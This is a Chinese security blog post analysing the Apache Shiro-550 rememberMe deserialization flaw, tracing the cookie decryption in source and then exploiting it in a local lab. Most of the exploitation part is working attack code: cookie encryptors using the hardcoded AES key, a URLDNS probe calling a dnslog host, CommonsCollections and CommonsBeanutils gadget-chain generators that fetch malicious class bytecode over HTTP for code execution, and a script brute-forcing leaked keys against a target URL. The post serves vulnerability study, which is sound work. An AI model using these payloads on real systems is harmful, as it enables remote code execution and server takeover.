Shiro550反序列化漏洞

一、环境搭建

使用官方的shiro-shiro-root-1.2.4,我是真的搭不出来,不是这错就是那儿错,崩溃!!!

还是直接下载p神的shirodemo进行环境搭建吧……

打开项目添加tomcat配置,直接运行即可

二、Shiro-550分析

2.1 漏洞原理

勾选RememberMe字段,登录成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段。
之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

img

Shiro1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(Shiro-550)
Shiro1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低固定密码泄露的风险。

2.2 漏洞角度分析Cookie

从一个漏洞挖掘的角度出发,去看待这个Cooke

在抓包的情况下,拿到这个Cookie的时候,很明显能够看到这是经过某种加密的。
因为在平常的Cookie都是比较短的,而Shiro RememberMe字段的Cookie太长了。

至此,必须的先知道Cookie的加密过程,如何进行加密?是否可以人为构造Cookie?

在我们知晓Shiro加密过程之后,可以认为构造而已的Cookie参数,从而能够达到命令执行的目的。

2.3 逆向分析解密过程

为了了解详细的Cookie解密过程,通过全局搜索Cookie或remember,主要是在Shiro包里找。

通过Ctrl + Shift + n全局搜索文件,在其中搜索remember能够看到一些文件;

img

AbstractRememberMeManager类中,找到一个类似于硬编码的密钥;

img

最后找到相关的类CookieRememberMeManager,其中的getRememberedSerializedIdentity()方法似乎就是解密的其中一步;

img
img

在该函数当中,首先判断是否为HTTP请求;如果是,则获取其中的Cookie;|
然后判断是否为deleteMe,不是则判断是否是base64的编码长度,不符合则对其填充等号,将base64解码的结果返回;

通过查看getRememberedSerializedIdentity()方法的用法,定位到AbstractRememberMeManager#getRememberedPrincipals()方法调用了getRememberedSerializedIdentity()方法。
getRememberedPrincipals() 方法的返回类型为 PrincipalCollection,一般就是用于聚合多个 Realm 配置的集合。

img

在393行,将HTTP Requests里面的cookie提取出来,并经过base64解码后赋值给bytes数组;
在396行,将bytes数组进行convertBytesToPrincipals()转换,并将值赋值给pricipals变量。

继续F7跟进到converBytesToPrincipals()方法查看转换的细节
img

在该转换方法中明确的做了两件事情,一是解密bytes数组的信息内容;二是反序列化解密后的bytes数组信息;

2.3.1 decrypt解密

img

通过查看解密方法decrypt()源码;在487行,通过getCipherServer()方法获取加密服务,也就是实现AOP的实现类,在往后489行的decrypt()跟进去,可以知道是一个接口,参数有byte[] encrypted, byte[] decryptionKey
其中第一个encrypted是加密内容数组,第二个decryptionKey是解密密钥,说明这是一个对称加密算法;后续需要重点关注一下这个decryptionKey的内容。

先简单分析一下getCipherServer()方法获取的加密服务,跟踪一下获取加密服务的获取流程

img

根据上图可知其实使用的加密服务就是AES对称加密,这也就可以直接我们后续使用的密钥decryptionKey如何作用了。

接下来,继续加密服务调用的decrypt()执行过程,首先分析传进行的参数;
形参encrypted数组是经过base64解密的Cookie,第二个参数是AES加密的对称密钥key,通过调用getDecryptionCipherKey()函数获得,查看函数的执行流程。

img

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

最后发现这个传入的key值其实就是我们一开始找Cookie的时候找到的那个类似于硬编码的内容
也就是说,Shiro进行Cookie加密的AES算法的密钥就是一个写在代码中的常量,因此我们也可以通过该密钥进行加密构造内容;

至此,Shiro的decrypt过程已经解析完毕!

2.3.2 deserialize反序列化

从之前的convertBytesToPrincipals()方法进入deserialize()方法中

img

可以发现在deserialize()中的deserialize方法是一个接口,我们继续跟进Serializer.java中查看相应的实现类有哪些?

通过鼠标指向deserialize接口,通过快捷键Ctrl+alt+b查看所有的实现类

img

可以发现存在两个实现类,此时我们需要判断前面的函数getSerializer()获取到的序列化器是哪个类型?

img

通过跟踪该方法可以知道getSerializer()返回的是一个DefaultSerializer序列化器,在该序列化器中的deserialize()的实现细节如下:

img

将输入的信息通过调用readObject()反序列化,这里可以作为很好的入口类。

至此,Shiro的反序列化过程也分析清楚啦。

2.4 加密过程

在分析完毕Cookie的解密和反序列化过程后,我们需要知道Cookie是如何产生的,因此需要进行加密过程的分析。

首先,定位产生Cookie的位置,必定是在成功登录后才会产生Cookie,所以我们查看相关的方法,最终定位到AbstractRememberMeManager#onSuccessfulLogin()上;

img

这个方法会先忘记认证,即删除前面的认证信息,然后再判断此次成功登录是否勾选RememberMe,从而判断是否调用rememberIdentity(subject, token, info)函数,根据该方法的具体实现;

img

一步步深入跟进可以发现加密过程与解密过程其实基本上是一致的,进一步进行动态调试查看一下在rememberIdentity()中的principals变量的值是什么内容

img

通过动态调用可以知道,principals中只存储来用户名,但是传入的认证信息AuthenticationInfo却保存了用户名和密码;
进一步跟进到convertPrincipalsToBytes()函数
img

可以知道这里其实做了两件事,一是将传入的principals进行序列化;二是将序列化后的信息进行加密;传入的principals即是登录的用户名信息;
这里的序列化的方式和之前分析反序列化的时候是一样的,通过getSerializer()获取序列化器进行序列化;详细的序列化实现方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public byte[] serialize(T o) throws SerializationException {
if (o == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);

try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException e) {
String msg = "Unable to serialize object [" + o + "]. " +
"In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
"class must implement java.io.Serializable.";
throw new SerializationException(msg, e);
}
}

接下来我们分析一下加密方法encrypt(),跟进到方法的具体实现

img

可以发现这里的加密方式与加密方式也是如出一辙的,包括获取密钥key的方式。如果在解密的时候,注意一下,就会发现

1
2
3
4
5
6
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

这里同时设置了两个密钥为统一默认密钥;
获取加密服务的方法getCipherService()与解密的地方也是一致的无需进一步分析;

通过F8一步一步执行回到rememberIdentity()

img

rememberSerializedIdentity()进行F7深入查看实现

img

发现该方法就是设置Cookie的方法。首先,判断是否为HTTP请求,不是则直接报错跳出;若是,则将加密后的信息在进行base64编码然后再设置为Cookie值;

三、Shiro-550漏洞利用

如果我们需要RCE或者反弹shell,那就需要利用到反序列化,反序列化的信息能够由我们来控制;
在此前的分析我们可以知道,只需将我们需要反序列化的内容经过一系列的加密后替换数据包中的RememberMe的内容,即可实现任意内容反序列化。

3.1 加密自定义信息

说实话,这里虽然我们知道加密是通过AES进行加密的,但是其中还有有非常多的细节需要注意的,最后才能进行同样的加密;

可以通过两种方式去实现该加密,一是直接使用Java通过导入同样的类,调用同样的方法去实现相同的加密;二是分析加密原理,使用python设置同样的加密模式、填充模式、生成随机化的初始向量进行加密;

3.1.1 Java实现

通过Java实现相对来说比较简单,因为只需要调用相同的包即可,不需要关注加密算法的具体实现细节;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.shlin;

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.charset.StandardCharsets;
import java.util.Arrays;

/**
* @author shlin
* @project shirodemo
* @file com.shlin.AES_Enc.java
* @date 2024/9/30 14:37
*/

public class AES_Enc {
public static void main(String[] args) {
// data: 需要加密的数据内容
String data = "";
byte[] dataBytes = data.getBytes();

byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

AesCipherService aesCipherService = new AesCipherService();
ByteSource encrypt = aesCipherService.encrypt(dataBytes, key);
byte[] encryptBytes = encrypt.getBytes();
String base64EncBytes = new String(Base64.encode(encryptBytes), StandardCharsets.UTF_8);
System.out.println(base64EncBytes);
}
}

3.1.2 python实现

通过python实现相对来说比较复杂,我们需要到源码中查看相应的实现细节;跟入算法实现细节查看

img

根据上图我们可以得出的信息有:

  • 填充模式:PKCS#5(可以用chatgpt查一下填充方式)

  • 加密模式:CBC

  • 块大小block_size:默认大小

继续从super()深入,已经没有什么非常有价值的信息了,设置了默认密钥的大小以及一些其他信息,好像没啥用;

img

接下来查看一下encrypt()函数

img

分析可以知道使用了随机初始化向量(IV),其实有这些信息就已经够了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
import uuid, base64


def get_file_data(filename):
with open(filename, 'rb') as f:
return f.read()

def aesEnc(data) -> str:
bs = AES.block_size
pad = lambda s : s + ((bs - len(s)%bs) * chr(bs - len(s)%bs)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext


if __name__ == "__main__":
data = get_file_data('shiro-550.bin')
print(aesEnc(data))

3.2 URLDNS链

目前已经了解了漏洞利用的原理,构造Payload需要将利用链通过AES加密后在Base64编码,将Payload的值设置为 rememberMe 的 cookie 值进行发送,使Shiro对我们序列化的内容进行反序列化实现利用;

由于 URLDNS 不依赖于 Commons Collections 包,只需要 JDK 的包就行,因此我们此处用来检测漏洞的存在;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class dnsurl {
public static void serialize(Object obj) throws IOException, IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiro-550.bin"));
oos.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
return new ObjectInputStream(new FileInputStream(filename)).readObject();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
URL url = new URL("http://06c2bee4.log.dnslog.biz.");
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1234); // 设置url变量中的hashCode变量值为1234
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
hashmap.put(url, 1);
hashCode.set(url, -1);
serialize(hashmap);
// deserialize("ser.bin");
}
}

在进行payload编写的过程中先不进行反序列化,以免产生不必要的误解,然后将生成的shiro-550.bin加载到之前的python加密脚本中进行加密,运行结果如下图所示;

img

首先登录一下shiro,然后再次访问页面就会有Cookie字段,将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

img

发送数据包后,即可收到dns请求,意味着确实进行了反序列化执行。

img

3.3 CC11利用链攻击

一开始编写了一下的序列化进行测试,发现最后是错误的,各位也可以看看我编写的攻击链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.shlin;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

/**
* @author shlin
* @project DeserializeChain
* @file com.shlin.CC11Exp.java
* @date 2024/9/30 19:05
*/

public class CC11Exp {
public static byte[] getEvilBytes(String u) throws IOException {
InputStream inputStream = new URL(u).openConnection().getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) != -1) {
byteArrayOutputStream.write(buffer, 0, length);
}
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
// byte[] evilCodes = Files.readAllBytes(Paths.get("D:\\\\SecTools\\\\web\\\\DeserializeChain\\\\CC11\\\\src\\\\main\\\\java\\\\com\\\\shlin\\\\entity\\\\calc.class"));
byte[] evilCodes = getEvilBytes("http://127.0.0.1:8000/calc.class");
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{evilCodes});

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "cc11");

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(hashMap, "key");
hashMap.put(tiedMapEntry, 123);
Class<? extends TiedMapEntry> tiedMapEntryClass = tiedMapEntry.getClass();
Field map = tiedMapEntryClass.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, decorateMap);
serialize(hashMap);
deserialize("cc11-ser.bin");
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc11-ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
return new ObjectInputStream(new FileInputStream(filename)).readObject();
}
}

img

img

img

根据图片显示的报错可以知道,shiro无法加载Transformer这个类,因此导致上述的攻击链无法生效;我们需要取消载入Transformer这个类去实现攻击链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.shlin;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

/**
* @author shlin
* @project DeserializeChain
* @file com.shlin.CC11Exp.java
* @date 2024/9/30 19:05
*/

public class CC11Exp {
public static byte[] getEvilBytes(String u) throws IOException {
InputStream inputStream = new URL(u).openConnection().getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) != -1) {
byteArrayOutputStream.write(buffer, 0, length);
}
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
// byte[] evilCodes = Files.readAllBytes(Paths.get("D:\\\\SecTools\\\\web\\\\DeserializeChain\\\\CC11\\\\src\\\\main\\\\java\\\\com\\\\shlin\\\\entity\\\\calc.class"));
byte[] evilCodes = getEvilBytes("http://127.0.0.1:8000/calc.class");
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{evilCodes});

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "cc11");

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, newTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(hashMap, templates);
hashMap.put(tiedMapEntry, 123);
Class<? extends TiedMapEntry> tiedMapEntryClass = tiedMapEntry.getClass();
Field map = tiedMapEntryClass.getDeclaredField("map");
map.setAccessible(true);
map.set(tiedMapEntry, decorateMap);
serialize(hashMap);
// deserialize("cc11-ser.bin");
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc11-ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
return new ObjectInputStream(new FileInputStream(filename)).readObject();
}
}

ok,成功!

3.4 CB1利用链攻击

Shiro-550使用CB1利用链进行攻击的时候存在版本问题,shiro自带的Commons-BeanUtils是1.8.3版本的,在生成序列化串的时候也需要使用相应版本的Commons-BeanUtils;否则服务端会报错

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

根据Drun1baby师傅所说:

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.shlin;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.util.PriorityQueue;

/**
* @author shlin
* @project DeserializeChain
* @file com.shlin.CB1Exp.java
* @date 2024/9/26 21:00
*/

public class CB1Exp {
public static byte[] getEvilBytes(String u) throws IOException {
InputStream inputStream = new URL(u).openConnection().getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) != -1) {
byteArrayOutputStream.write(buffer, 0, length);
}
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// byte[] evilClass = Files.readAllBytes(Paths.get("D:\\SecTools\\web\\DeserializeChain\\CB1\\src\\main\\java\\com\\shlin\\entity\\Calc.class"));
byte[] evilClass = getEvilBytes("http://127.0.0.1:8000/Calc.class");
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "cb1");

Field bytes = templatesClass.getDeclaredField("_bytecodes");
bytes.setAccessible(true);
bytes.set(templates, new byte[][]{evilClass});

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
beanComparator.setProperty("outputProperties");
Class<? extends PriorityQueue> queueClass = priorityQueue.getClass();
Field queue = queueClass.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{templates, templates});

serialize(priorityQueue);
// deserialize("cb1-ser.bin");
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cb1-ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}

}

img

img

img

四、漏洞探测

4.1 指纹识别

在利用 shiro 漏洞时需要判断应用是否用到了 shiro。
在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架,可以进一步测试。

4.2 AES密钥判断

前面说到 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?
文章 一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。

因此我们需要构造 payload 排除类型转换错误,进而准确判断密钥。

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。
在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

这里给出大佬 Veraxy 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)

五、参考连接

  1. Java 反序列化 Shiro 篇 01-Shiro550 流程分析

  2. Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

  3. Shiro550反序列化漏洞分析 – JohnFrod’s Blog


Shiro550反序列化漏洞
http://candyb0x.github.io/2024/12/12/Shiro550反序列化漏洞/
作者
Candy
发布于
2024年12月12日
更新于
2026年4月27日
许可协议